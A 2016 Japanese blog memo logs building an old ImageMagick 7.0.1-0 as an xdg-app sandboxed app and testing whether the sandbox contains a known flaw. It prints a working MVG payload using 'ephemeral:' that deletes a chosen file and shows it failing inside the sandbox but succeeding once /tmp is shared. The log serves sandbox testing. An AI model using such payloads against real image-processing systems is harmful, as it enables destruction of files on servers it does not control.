memo

2016-05-08

xdg-app で ImageMagick を実行してみるテスト

xdg-app というのは、 linux の container/sandbox 機能を使って application をセキュアでポータブルにしようというようなヤツ。 (主に desktop application 向け?)

で、最近なにか見つかったらしい ImageMagick をネタにして色々やってみた作業ログ。


前準備として、とりあえず runtime, sdk を入れる。

$ wget https://people.gnome.org/~alexl/keys/gnome-sdk.gpg
$ xdg-app --user remote-add gnome --gpg-key=gnome-sdk.gpg http://sdk.gnome.org/repo/
$ xdg-app --user install gnome org.freedesktop.Platform 1.4
$ xdg-app --user install gnome org.freedesktop.Sdk 1.4

続いて ImageMagick の app を作る。

以下のような定義ファイルを用意して、

org.u7fa9.ImageMagick.json:

{
  "app-id": "org.u7fa9.ImageMagick",
  "runtime": "org.freedesktop.Platform",
  "runtime-version": "1.4",
  "sdk": "org.freedesktop.Sdk",
  "command": "convert",
  "finish-args": [],
  "modules": [
    {
      "name": "ImageMagick",
      "sources": [
        {
          "type": "archive",
          "url": "http://ftp.jaist.ac.jp/pub/Linux/Gentoo/distfiles/ImageMagick-7.0.1-0.tar.xz",
          "sha256": "bd15aaef2aa2393b3d62b821f5752d5f4066a90d3b0d9259d93217ad47c056d9"
        }
      ]
    }
  ]
}

Note

脆弱性のテストができるように、ちょっと古いバージョンにしている。

xdg-app-builder を実行。 source の取得やらビルドやらが走って、 app が repo に入る。

$ mkdir -p ~/repos/xdg-app
$ xdg-app-builder --repo=~/repos/xdg-app/org.u7fa9 ImageMagick/ org.u7fa9.ImageMagick.json

Note

xdg-app-builder が、 org.u7fa9.ImageMagick.Locale がどうのこうのと言ってエラー終了するけど、 取り敢えず ImageMagick は出来ているようなので気にしないことにする。

作った app をインストールして実行してみる。

$ xdg-app --user remote-add --no-gpg-verify u7fa9 ~/repos/xdg-app/org.u7fa9
$ xdg-app --user install u7fa9 org.u7fa9.ImageMagick
$ xdg-app run org.u7fa9.ImageMagick -version
Version: ImageMagick 7.0.1-0 Q16 x86_64 2016-05-08 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP 
Delegates (built-in): bzlib fontconfig freetype jng jpeg lcms lzma png tiff webp x xml zlib

動いてるっぽい。

画像の変換もしてみる。 (default では) filesystem は分離されているので、標準入出力でやり取りする。

$ file input.png
input.png: PNG image data, 72 x 72, 8-bit colormap, non-interlaced
$ xdg-app run org.u7fa9.ImageMagick - gif:- < input.png > output.gif
$ file output.gif
output.gif: GIF image data, version 89a, 72 x 72

脆弱性のテストもしてみる。ファイルが消えるはずのやつ。

$ cat > delete.mvg <<EOF
> push graphic-context
> viewbox 0 0 640 480
> image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
> popgraphic-context
> EOF
$ xdg-app run org.u7fa9.ImageMagick - png:- < delete.mvg > output.png
convert: unable to open image '/tmp/delete.txt': No such file or directory @ error/blob.c/OpenBlob/2691.
convert: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/505.
convert: non-conforming drawing primitive definition `popgraphic-context' @ error/draw.c/DrawImage/3172.
$ ls /tmp/delete.txt
/tmp/delete.txt

上述したように、 filesystem は分離しているので手元のファイルは残ったままになる。

今度は /tmp を共有するように指定して実行してみる。もちろんこの場合は手元からファイルが消える。

$ xdg-app run --filesystem=/tmp org.u7fa9.ImageMagick - png:- < delete.mvg > output.png
convert: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/505.
convert: non-conforming drawing primitive definition `popgraphic-context' @ error/draw.c/DrawImage/3172.
$ ls /tmp/delete.txt
ls: cannot access '/tmp/delete.txt': No such file or directory

参照

https://wiki.gnome.org/Projects/SandboxedApps https://blogs.gnome.org/alexl/2016/02/22/building-an-xdg-app-part-3/ http://d.hatena.ne.jp/Kango/20160504/1462352882